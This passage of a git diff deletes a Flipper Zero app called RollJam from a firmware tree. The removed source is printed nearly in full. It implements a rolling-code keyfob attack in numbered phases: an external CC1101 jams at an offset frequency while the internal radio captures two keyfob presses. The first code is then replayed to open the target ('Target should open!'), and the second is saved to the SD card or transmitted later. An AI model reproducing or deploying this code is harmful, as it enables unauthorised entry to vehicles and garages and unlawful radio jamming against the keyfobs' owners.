furi_hal_subghz_load_custom_preset(preset_ook_tx); - uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency); - FURI_LOG_I(TAG, "TX: freq=%lu", real_freq); - - g_tx.data = signal->data; - g_tx.size = signal->size; - g_tx.index = 0; - - if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) { - FURI_LOG_E(TAG, "TX: start failed!"); - furi_hal_subghz_idle(); - return; - } - - uint32_t timeout = 0; - while(!furi_hal_subghz_is_async_tx_complete()) { - furi_delay_ms(5); - if(++timeout > 2000) { - FURI_LOG_E(TAG, "TX: timeout!"); - break; - } - } - - furi_hal_subghz_stop_async_tx(); - furi_hal_subghz_idle(); - - FURI_LOG_I(TAG, "TX: done (%d/%d)", g_tx.index, signal->size); -} - -// ============================================================ -// Save -// ============================================================ - -void rolljam_save_signal(RollJamApp* app, RawSignal* signal) { - if(!signal->valid || signal->size == 0) { - FURI_LOG_E(TAG, "Save: no signal"); - return; - } - - DateTime dt; - furi_hal_rtc_get_datetime(&dt); - - FuriString* path = furi_string_alloc_printf( - "/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub", - dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second); - - FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path)); - - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_simply_mkdir(storage, "/ext/subghz"); - File* file = storage_file_alloc(storage); - - if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - FuriString* line = furi_string_alloc(); - - furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n"); - storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line)); - - furi_string_printf(line, "Version: 1\n"); - storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line)); - - furi_string_printf(line, "Frequency: %lu\n", app->frequency); - storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line)); - - const char* pname; - switch(app->mod_index) { - case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break; - case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break; - case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break; - default: pname = "FuriHalSubGhzPresetOok650Async"; break; - } - - furi_string_printf(line, "Preset: %s\n", pname); - storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line)); - - furi_string_printf(line, "Protocol: RAW\n"); - storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line)); - - size_t i = 0; - while(i < signal->size) { - furi_string_set(line, "RAW_Data:"); - size_t end = i + 512; - if(end > signal->size) end = signal->size; - for(; i < end; i++) { - furi_string_cat_printf(line, " %d", signal->data[i]); - } - furi_string_cat(line, "\n"); - storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line)); - } - - furi_string_free(line); - FURI_LOG_I(TAG, "Saved: %d samples", signal->size); - } else { - FURI_LOG_E(TAG, "Save failed!"); - } - - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - furi_string_free(path); -} diff --git a/applications/main/RollJam/helpers/rolljam_receiver.h b/applications/main/RollJam/helpers/rolljam_receiver.h deleted file mode 100644 index 76a90707..00000000 --- a/applications/main/RollJam/helpers/rolljam_receiver.h +++ /dev/null @@ -1,31 +0,0 @@ -#pragma once - -#include "../rolljam.h" - -/* - * Internal CC1101 raw signal capture and transmission. - * - * Capture: uses narrow RX bandwidth so the offset jamming - * from the external CC1101 is filtered out. - * - * The captured raw data is stored as signed int16 values: - * positive = high-level duration (microseconds) - * negative = low-level duration (microseconds) - * - * This matches the Flipper .sub RAW format. - */ - -// Start raw capture on internal CC1101 -void rolljam_capture_start(RollJamApp* app); - -// Stop capture -void rolljam_capture_stop(RollJamApp* app); - -// Check if captured signal looks valid (not just noise) -bool rolljam_signal_is_valid(RawSignal* signal); - -// Transmit a raw signal via internal CC1101 -void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal); - -// Save signal to .sub file on SD card -void rolljam_save_signal(RollJamApp* app, RawSignal* signal); diff --git a/applications/main/RollJam/readme.md b/applications/main/RollJam/readme.md deleted file mode 100644 index 0b3ea433..00000000 --- a/applications/main/RollJam/readme.md +++ /dev/null @@ -1,21 +0,0 @@ -applications_user/rolljam/ -├── application.fam -├── rolljam.png (icon 10x10) -├── rolljam.c -├── rolljam_icons.h -├── scenes/ -│ ├── rolljam_scene.h -│ ├── rolljam_scene_config.h -│ ├── rolljam_scene_menu.c -│ ├── rolljam_scene_attack_phase1.c -│ ├── rolljam_scene_attack_phase2.c -│ ├── rolljam_scene_attack_phase3.c -│ └── rolljam_scene_result.c -├── helpers/ -│ ├── rolljam_cc1101_ext.h -│ ├── rolljam_cc1101_ext.c -│ ├── rolljam_receiver.h -│ └── rolljam_receiver.c -└── views/ - ├── rolljam_attack_view.h - └── rolljam_attack_view.c diff --git a/applications/main/RollJam/rolljam.c b/applications/main/RollJam/rolljam.c deleted file mode 100644 index 6c4aa479..00000000 --- a/applications/main/RollJam/rolljam.c +++ /dev/null @@ -1,215 +0,0 @@ -#include "rolljam.h" -#include "scenes/rolljam_scene.h" -#include "helpers/rolljam_cc1101_ext.h" -#include "helpers/rolljam_receiver.h" -#include "helpers/rolljam_cc1101_ext.h" - -// ============================================================ -// Frequency / modulation tables -// ============================================================ - -const uint32_t freq_values[] = { - 300000000, - 303875000, - 315000000, - 318000000, - 390000000, - 433075000, - 433920000, - 434420000, - 438900000, - 868350000, - 915000000, -}; - -const char* freq_names[] = { - "300.00", - "303.87", - "315.00", - "318.00", - "390.00", - "433.07", - "433.92", - "434.42", - "438.90", - "868.35", - "915.00", -}; - -const char* mod_names[] = { - "AM 650", - "AM 270", - "FM 238", - "FM 476", -}; - -// ============================================================ -// Scene handlers table (extern declarations in scene header) -// ============================================================ - -void (*const rolljam_scene_on_enter_handlers[])(void*) = { - rolljam_scene_menu_on_enter, - rolljam_scene_attack_phase1_on_enter, - rolljam_scene_attack_phase2_on_enter, - rolljam_scene_attack_phase3_on_enter, - rolljam_scene_result_on_enter, -}; - -bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = { - rolljam_scene_menu_on_event, - rolljam_scene_attack_phase1_on_event, - rolljam_scene_attack_phase2_on_event, - rolljam_scene_attack_phase3_on_event, - rolljam_scene_result_on_event, -}; - -void (*const rolljam_scene_on_exit_handlers[])(void*) = { - rolljam_scene_menu_on_exit, - rolljam_scene_attack_phase1_on_exit, - rolljam_scene_attack_phase2_on_exit, - rolljam_scene_attack_phase3_on_exit, - rolljam_scene_result_on_exit, -}; - -const SceneManagerHandlers rolljam_scene_handlers = { - .on_enter_handlers = rolljam_scene_on_enter_handlers, - .on_event_handlers = rolljam_scene_on_event_handlers, - .on_exit_handlers = rolljam_scene_on_exit_handlers, - .scene_num = RollJamSceneCount, -}; - -// ============================================================ -// Navigation callbacks -// ============================================================ - -static bool rolljam_navigation_callback(void* context) { - RollJamApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static bool rolljam_custom_event_callback(void* context, uint32_t event) { - RollJamApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -// ============================================================ -// App alloc -// ============================================================ - -static RollJamApp* rolljam_app_alloc(void) { - RollJamApp* app = malloc(sizeof(RollJamApp)); - memset(app, 0, sizeof(RollJamApp)); - - // Defaults - app->freq_index = FreqIndex_433_92; - app->frequency = freq_values[FreqIndex_433_92]; - app->mod_index = ModIndex_AM650; - - // Services - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - app->storage = furi_record_open(RECORD_STORAGE); - - // Scene manager - app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, rolljam_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, rolljam_navigation_callback); - view_dispatcher_attach_to_gui( - app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Variable item list - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - RollJamViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - RollJamViewWidget, - widget_get_view(app->widget)); - - // Dialog - app->dialog_ex = dialog_ex_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - RollJamViewDialogEx, - dialog_ex_get_view(app->dialog_ex)); - - // Popup - app->popup = popup_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - RollJamViewPopup, - popup_get_view(app->popup)); - - return app; -} - -// ============================================================ -// App free -// ============================================================ - -static void rolljam_app_free(RollJamApp* app) { - // Safety: stop everything - if(app->jamming_active) { - rolljam_jammer_stop(app); - } - if(app->raw_capture_active) { - rolljam_capture_stop(app); - } - - // Remove views - view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList); - variable_item_list_free(app->var_item_list); - - view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget); - widget_free(app->widget); - - view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx); - dialog_ex_free(app->dialog_ex); - - view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup); - popup_free(app->popup); - - // Core - scene_manager_free(app->scene_manager); - view_dispatcher_free(app->view_dispatcher); - - // Services - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_STORAGE); - - free(app); -} - -// ============================================================ -// Entry point -// ============================================================ - -int32_t rolljam_app(void* p) { - UNUSED(p); - - RollJamApp* app = rolljam_app_alloc(); - - FURI_LOG_I(TAG, "=== RollJam Started ==="); - FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)"); - FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", (uint32_t)JAM_OFFSET_HZ); - - scene_manager_next_scene(app->scene_manager, RollJamSceneMenu); - view_dispatcher_run(app->view_dispatcher); - - rolljam_app_free(app); - - FURI_LOG_I(TAG, "=== RollJam Stopped ==="); - return 0; -} diff --git a/applications/main/RollJam/rolljam.h b/applications/main/RollJam/rolljam.h deleted file mode 100644 index adc4471d..00000000 --- a/applications/main/RollJam/rolljam.h +++ /dev/null @@ -1,143 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define TAG "RollJam" - -// ============================================================ -// Jam offset: external CC1101 transmits at target + this offset -// Victim receiver (wide BW ~300kHz) sees the jam -// Our internal CC1101 (narrow BW ~58kHz) rejects it -// ============================================================ -#define JAM_OFFSET_HZ 700000 - -// Max raw signal buffer -#define RAW_SIGNAL_MAX_SIZE 4096 - -// ============================================================ -// Frequencies -// ============================================================ -typedef enum { - FreqIndex_300_00 = 0, - FreqIndex_303_87, - FreqIndex_315_00, - FreqIndex_318_00, - FreqIndex_390_00, - FreqIndex_433_07, - FreqIndex_433_92, - FreqIndex_434_42, - FreqIndex_438_90, - FreqIndex_868_35, - FreqIndex_915_00, - FreqIndex_COUNT, -} FreqIndex; - -extern const uint32_t freq_values[]; -extern const char* freq_names[]; - -// ============================================================ -// Modulations -// ============================================================ -typedef enum { - ModIndex_AM650 = 0, - ModIndex_AM270, - ModIndex_FM238, - ModIndex_FM476, - ModIndex_COUNT, -} ModIndex; - -extern const char* mod_names[]; - -// ============================================================ -// Scenes -// ============================================================ -typedef enum { - RollJamSceneMenu, - RollJamSceneAttackPhase1, - RollJamSceneAttackPhase2, - RollJamSceneAttackPhase3, - RollJamSceneResult, - RollJamSceneCount, -} RollJamScene; - -// ============================================================ -// Views -// ============================================================ -typedef enum { - RollJamViewVarItemList, - RollJamViewWidget, - RollJamViewDialogEx, - RollJamViewPopup, -} RollJamView; - -// ============================================================ -// Custom events -// ============================================================ -typedef enum { - RollJamEventStartAttack = 100, - RollJamEventSignalCaptured, - RollJamEventPhase3Done, - RollJamEventReplayNow, - RollJamEventSaveSignal, - RollJamEventBack, -} RollJamEvent; - -// ============================================================ -// Raw signal container -// ============================================================ -typedef struct { - int16_t data[RAW_SIGNAL_MAX_SIZE]; - size_t size; - bool valid; -} RawSignal; - -// ============================================================ -// Main app struct -// ============================================================ -typedef struct { - // Core - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - NotificationApp* notification; - Storage* storage; - - // Views / modules - VariableItemList* var_item_list; - Widget* widget; - DialogEx* dialog_ex; - Popup* popup; - - // Settings - FreqIndex freq_index; - ModIndex mod_index; - uint32_t frequency; - uint32_t jam_frequency; - - // Captured signals - RawSignal signal_first; - RawSignal signal_second; - - // Jamming state - bool jamming_active; - FuriThread* jam_thread; - volatile bool jam_thread_running; - - // Capture state - volatile bool raw_capture_active; - -} RollJamApp; diff --git a/applications/main/RollJam/rolljam.png b/applications/main/RollJam/rolljam.png deleted file mode 100644 index b3c54e638a73db8a2f01e476052ed30ff37f6edf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 90 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xkYHHq`AGmsDSEm%hE&X9J-CsVL4oIhfwqUw nT#JVP=hwV_ZLllBsignal_first.size > 0 && - rolljam_signal_is_valid(&app->signal_first)) { - app->signal_first.valid = true; - view_dispatcher_send_custom_event( - app->view_dispatcher, RollJamEventSignalCaptured); - } -} - -void rolljam_scene_attack_phase1_on_enter(void* context) { - RollJamApp* app = context; - - widget_reset(app->widget); - widget_add_string_element( - app->widget, 64, 2, AlignCenter, AlignTop, - FontPrimary, "PHASE 1 / 4"); - widget_add_string_element( - app->widget, 64, 16, AlignCenter, AlignTop, - FontSecondary, "Jamming active..."); - widget_add_string_element( - app->widget, 64, 28, AlignCenter, AlignTop, - FontSecondary, "Listening for keyfob"); - widget_add_string_element( - app->widget, 64, 42, AlignCenter, AlignTop, - FontPrimary, "PRESS KEYFOB NOW"); - widget_add_string_element( - app->widget, 64, 56, AlignCenter, AlignTop, - FontSecondary, "[BACK] cancel"); - - view_dispatcher_switch_to_view( - app->view_dispatcher, RollJamViewWidget); - - // Start jamming - rolljam_jammer_start(app); - - // Start capture - rolljam_capture_start(app); - - notification_message(app->notification, &sequence_blink_blue_100); - - FuriTimer* timer = furi_timer_alloc( - phase1_timer_callback, FuriTimerTypePeriodic, app); - furi_timer_start(timer, 300); - - scene_manager_set_scene_state( - app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer); - - FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press..."); -} - -bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) { - RollJamApp* app = context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == RollJamEventSignalCaptured) { - notification_message(app->notification, &sequence_success); - - FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d", - app->signal_first.size); - - // Stop capture cleanly - rolljam_capture_stop(app); - // Jamming stays active! - - scene_manager_next_scene( - app->scene_manager, RollJamSceneAttackPhase2); - return true; - } - } else if(event.type == SceneManagerEventTypeBack) { - FURI_LOG_I(TAG, "Phase1: cancelled by user"); - rolljam_capture_stop(app); - rolljam_jammer_stop(app); - scene_manager_search_and_switch_to_another_scene( - app->scene_manager, RollJamSceneMenu); - return true; - } - return false; -} - -void rolljam_scene_attack_phase1_on_exit(void* context) { - RollJamApp* app = context; - - FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state( - app->scene_manager, RollJamSceneAttackPhase1); - if(timer) { - furi_timer_stop(timer); - furi_timer_free(timer); - } - - widget_reset(app->widget); -} diff --git a/applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c b/applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c deleted file mode 100644 index a1554f3b..00000000 --- a/applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c +++ /dev/null @@ -1,107 +0,0 @@ -#include "rolljam_scene.h" -#include "../helpers/rolljam_cc1101_ext.h" -#include "../helpers/rolljam_receiver.h" - -// ============================================================ -// Phase 2: JAM + CAPTURE second keyfob press -// ============================================================ - -static void phase2_timer_callback(void* context) { - RollJamApp* app = context; - - if(app->signal_second.size > 0 && - rolljam_signal_is_valid(&app->signal_second)) { - app->signal_second.valid = true; - view_dispatcher_send_custom_event( - app->view_dispatcher, RollJamEventSignalCaptured); - } -} - -void rolljam_scene_attack_phase2_on_enter(void* context) { - RollJamApp* app = context; - - widget_reset(app->widget); - widget_add_string_element( - app->widget, 64, 2, AlignCenter, AlignTop, - FontPrimary, "PHASE 2 / 4"); - widget_add_string_element( - app->widget, 64, 16, AlignCenter, AlignTop, - FontSecondary, "1st code CAPTURED!"); - widget_add_string_element( - app->widget, 64, 28, AlignCenter, AlignTop, - FontSecondary, "Still jamming..."); - widget_add_string_element( - app->widget, 64, 42, AlignCenter, AlignTop, - FontPrimary, "PRESS KEYFOB AGAIN"); - widget_add_string_element( - app->widget, 64, 56, AlignCenter, AlignTop, - FontSecondary, "[BACK] cancel"); - - view_dispatcher_switch_to_view( - app->view_dispatcher, RollJamViewWidget); - - // CRITICAL: completely clear second signal - memset(app->signal_second.data, 0, sizeof(app->signal_second.data)); - app->signal_second.size = 0; - app->signal_second.valid = false; - - // Stop previous capture if any - rolljam_capture_stop(app); - - // Small delay to let radio settle - furi_delay_ms(50); - - // Start fresh capture for second signal - rolljam_capture_start(app); - - notification_message(app->notification, &sequence_blink_yellow_100); - - FuriTimer* timer = furi_timer_alloc( - phase2_timer_callback, FuriTimerTypePeriodic, app); - furi_timer_start(timer, 300); - - scene_manager_set_scene_state( - app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer); - - FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press..."); -} - -bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) { - RollJamApp* app = context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == RollJamEventSignalCaptured) { - notification_message(app->notification, &sequence_success); - - FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d", - app->signal_second.size); - - rolljam_capture_stop(app); - - scene_manager_next_scene( - app->scene_manager, RollJamSceneAttackPhase3); - return true; - } - } else if(event.type == SceneManagerEventTypeBack) { - FURI_LOG_I(TAG, "Phase2: cancelled by user"); - rolljam_capture_stop(app); - rolljam_jammer_stop(app); - scene_manager_search_and_switch_to_another_scene( - app->scene_manager, RollJamSceneMenu); - return true; - } - return false; -} - -void rolljam_scene_attack_phase2_on_exit(void* context) { - RollJamApp* app = context; - - FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state( - app->scene_manager, RollJamSceneAttackPhase2); - if(timer) { - furi_timer_stop(timer); - furi_timer_free(timer); - } - - widget_reset(app->widget); -} diff --git a/applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c b/applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c deleted file mode 100644 index 43a18195..00000000 --- a/applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "rolljam_scene.h" -#include "../helpers/rolljam_cc1101_ext.h" -#include "../helpers/rolljam_receiver.h" - -// ============================================================ -// Phase 3: STOP jam + REPLAY first signal -// The victim device opens. We keep the 2nd (newer) code. -// ============================================================ - -void rolljam_scene_attack_phase3_on_enter(void* context) { - RollJamApp* app = context; - - // UI - widget_reset(app->widget); - widget_add_string_element( - app->widget, 64, 2, AlignCenter, AlignTop, - FontPrimary, "PHASE 3 / 4"); - widget_add_string_element( - app->widget, 64, 18, AlignCenter, AlignTop, - FontSecondary, "Stopping jammer..."); - widget_add_string_element( - app->widget, 64, 32, AlignCenter, AlignTop, - FontPrimary, "REPLAYING 1st CODE"); - widget_add_string_element( - app->widget, 64, 48, AlignCenter, AlignTop, - FontSecondary, "Target should open!"); - - view_dispatcher_switch_to_view( - app->view_dispatcher, RollJamViewWidget); - - // LED: green - notification_message(app->notification, &sequence_blink_green_100); - - // 1) Stop the jammer - rolljam_jammer_stop(app); - - // Small delay for radio settling - furi_delay_ms(150); - - // 2) Transmit first captured signal via internal CC1101 - rolljam_transmit_signal(app, &app->signal_first); - - FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code."); - - notification_message(app->notification, &sequence_success); - - // Brief display then advance - furi_delay_ms(800); - - view_dispatcher_send_custom_event( - app->view_dispatcher, RollJamEventPhase3Done); -} - -bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) { - RollJamApp* app = context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == RollJamEventPhase3Done) { - scene_manager_next_scene( - app->scene_manager, RollJamSceneResult); - return true; - } - } - return false; -} - -void rolljam_scene_attack_phase3_on_exit(void* context) { - RollJamApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/main/RollJam/scenes/rolljam_scene_config.h b/applications/main/RollJam/scenes/rolljam_scene_config.h deleted file mode 100644 index 77dbe3a6..00000000 --- a/applications/main/RollJam/scenes/rolljam_scene_config.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -/* - * Scene configuration file. - * Lists all scenes for the SceneManager. - * - * In some Flipper apps this uses ADD_SCENE macros. - * We handle it manually via the handlers arrays in rolljam.c - * so this file just documents the scene list. - * - * Scenes: - * 0 - RollJamSceneMenu - * 1 - RollJamSceneAttackPhase1 - * 2 - RollJamSceneAttackPhase2 - * 3 - RollJamSceneAttackPhase3 - * 4 - RollJamSceneResult - */ diff --git a/applications/main/RollJam/scenes/rolljam_scene_menu.c b/applications/main/RollJam/scenes/rolljam_scene_menu.c deleted file mode 100644 index d9846cd7..00000000 --- a/applications/main/RollJam/scenes/rolljam_scene_menu.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "rolljam_scene.h" - -// ============================================================ -// Menu scene: select frequency, modulation, start attack -// ============================================================ - -static void menu_freq_changed(VariableItem* item) { - RollJamApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - app->freq_index = index; - app->frequency = freq_values[index]; - variable_item_set_current_value_text(item, freq_names[index]); -} - -static void menu_mod_changed(VariableItem* item) { - RollJamApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - app->mod_index = index; - variable_item_set_current_value_text(item, mod_names[index]); -} - -static void menu_enter_callback(void* context, uint32_t index) { - RollJamApp* app = context; - - if(index == 2) { - // "Start Attack" item - view_dispatcher_send_custom_event( - app->view_dispatcher, RollJamEventStartAttack); - } -} - -void rolljam_scene_menu_on_enter(void* context) { - RollJamApp* app = context; - - variable_item_list_reset(app->var_item_list); - - // --- Frequency --- - VariableItem* freq_item = variable_item_list_add( - app->var_item_list, - "Frequency", - FreqIndex_COUNT, - menu_freq_changed, - app); - variable_item_set_current_value_index(freq_item, app->freq_index); - variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]); - - // --- Modulation --- - VariableItem* mod_item = variable_item_list_add( - app->var_item_list, - "Modulation", - ModIndex_COUNT, - menu_mod_changed, - app); - variable_item_set_current_value_index(mod_item, app->mod_index); - variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]); - - // --- Start button --- - variable_item_list_add( - app->var_item_list, - ">> START ATTACK <<", - 0, - NULL, - app); - - variable_item_list_set_enter_callback( - app->var_item_list, menu_enter_callback, app); - - view_dispatcher_switch_to_view( - app->view_dispatcher, RollJamViewVarItemList); -} - -bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) { - RollJamApp* app = context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == RollJamEventStartAttack) { - // Clear previous captures - memset(&app->signal_first, 0, sizeof(RawSignal)); - memset(&app->signal_second, 0, sizeof(RawSignal)); - - scene_manager_next_scene( - app->scene_manager, RollJamSceneAttackPhase1); - return true; - } - } - return false; -} - -void rolljam_scene_menu_on_exit(void* context) { - RollJamApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/main/RollJam/scenes/rolljam_scene_result.c b/applications/main/RollJam/scenes/rolljam_scene_result.c deleted file mode 100644 index fbb74641..00000000 --- a/applications/main/RollJam/scenes/rolljam_scene_result.c +++ /dev/null @@ -1,111 +0,0 @@ -#include "rolljam_scene.h" -#include "../helpers/rolljam_receiver.h" - -// ============================================================ -// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code -// ============================================================ - -static void result_dialog_callback(DialogExResult result, void* context) { - RollJamApp* app = context; - - if(result == DialogExResultLeft) { - view_dispatcher_send_custom_event( - app->view_dispatcher, RollJamEventSaveSignal); - } else if(result == DialogExResultRight) { - view_dispatcher_send_custom_event( - app->view_dispatcher, RollJamEventReplayNow); - } -} - -void rolljam_scene_result_on_enter(void* context) { - RollJamApp* app = context; - - dialog_ex_reset(app->dialog_ex); - - dialog_ex_set_header( - app->dialog_ex, "Attack Complete!", - 64, 2, AlignCenter, AlignTop); - - dialog_ex_set_text( - app->dialog_ex, - "1st code: SENT to target\n" - "2nd code: IN MEMORY\n\n" - "What to do with 2nd?", - 64, 18, AlignCenter, AlignTop); - - dialog_ex_set_left_button_text(app->dialog_ex, "Save"); - dialog_ex_set_right_button_text(app->dialog_ex, "Send"); - - dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback); - dialog_ex_set_context(app->dialog_ex, app); - - view_dispatcher_switch_to_view( - app->view_dispatcher, RollJamViewDialogEx); -} - -bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) { - RollJamApp* app = context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == RollJamEventSaveSignal) { - // Save to .sub file - rolljam_save_signal(app, &app->signal_second); - - popup_reset(app->popup); - popup_set_header( - app->popup, "Saved!", - 64, 20, AlignCenter, AlignCenter); - popup_set_text( - app->popup, - "File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back", - 64, 38, AlignCenter, AlignCenter); - popup_set_timeout(app->popup, 5000); - popup_enable_timeout(app->popup); - view_dispatcher_switch_to_view( - app->view_dispatcher, RollJamViewPopup); - - notification_message(app->notification, &sequence_success); - return true; - - } else if(event.event == RollJamEventReplayNow) { - // Show sending screen - popup_reset(app->popup); - popup_set_header( - app->popup, "Transmitting...", - 64, 20, AlignCenter, AlignCenter); - popup_set_text( - app->popup, "Sending 2nd code NOW", - 64, 38, AlignCenter, AlignCenter); - view_dispatcher_switch_to_view( - app->view_dispatcher, RollJamViewPopup); - - // Transmit second signal - rolljam_transmit_signal(app, &app->signal_second); - - notification_message(app->notification, &sequence_success); - - popup_set_header( - app->popup, "Done!", - 64, 20, AlignCenter, AlignCenter); - popup_set_text( - app->popup, - "2nd code transmitted!\n\nPress Back", - 64, 38, AlignCenter, AlignCenter); - popup_set_timeout(app->popup, 5000); - popup_enable_timeout(app->popup); - - return true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_another_scene( - app->scene_manager, RollJamSceneMenu); - return true; - } - return false; -} - -void rolljam_scene_result_on_exit(void* context) { - RollJamApp* app = context; - dialog_ex_reset(app->dialog_ex); - popup_reset(app->popup); -} diff --git a/applications/main/RollJam/views/rolljam_attack_view.c b/applications/main/RollJam/views/rolljam_attack_view.c deleted file mode 100644 index 9605a741..00000000 --- a/applications/main/RollJam/views/rolljam_attack_view.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "rolljam_attack_view.h" -#include - -// ============================================================ -// Custom drawing for attack status -// Reserved for future use with a custom View -// Currently the app uses Widget modules instead -// ============================================================ - -void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) { - canvas_clear(canvas); - - // Title bar - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 64, 2, AlignCenter, AlignTop, state->phase_text); - - // Separator - canvas_draw_line(canvas, 0, 14, 128, 14); - - // Status - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 18, AlignCenter, AlignTop, state->status_text); - - // Indicators - int y = 32; - - if(state->jamming) { - canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]"); - // Animated dots could go here - } else { - canvas_draw_str(canvas, 4, y, "JAM: [OFF]"); - } - y += 12; - - if(state->capturing) { - canvas_draw_str(canvas, 4, y, "RX: [LISTENING]"); - } else { - canvas_draw_str(canvas, 4, y, "RX: [OFF]"); - } - y += 12; - - // Signal counter - char buf[32]; - snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count); - canvas_draw_str(canvas, 4, y, buf); - - // Footer - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel"); -} diff --git a/applications/main/RollJam/views/rolljam_attack_view.h b/applications/main/RollJam/views/rolljam_attack_view.h deleted file mode 100644 index 5603b79b..00000000 --- a/applications/main/RollJam/views/rolljam_attack_view.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include "../rolljam.h" - -/* - * Custom view for attack visualization. - * Currently the app uses Widget and DialogEx for display. - * This file is reserved for a future custom canvas-drawn view - * (e.g., signal waveform display, animated jamming indicator). - * - * For now it provides a simple status draw function. - */ - -typedef struct { - const char* phase_text; - const char* status_text; - bool jamming; - bool capturing; - int signal_count; -} AttackViewState; - -// Draw attack status on a canvas (for future custom View use) -void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state); diff --git a/applications/main/application.fam b/applications/main/application.fam index b98cf426..47fb3947 100644 --- a/applications/main/application.fam +++ b/applications/main/application.fam @@ -9,7 +9,6 @@ App( "nfc", "subghz", "subghz_bruteforcer", - "rolljam", "archive", "subghz_remote", "main_apps_on_start",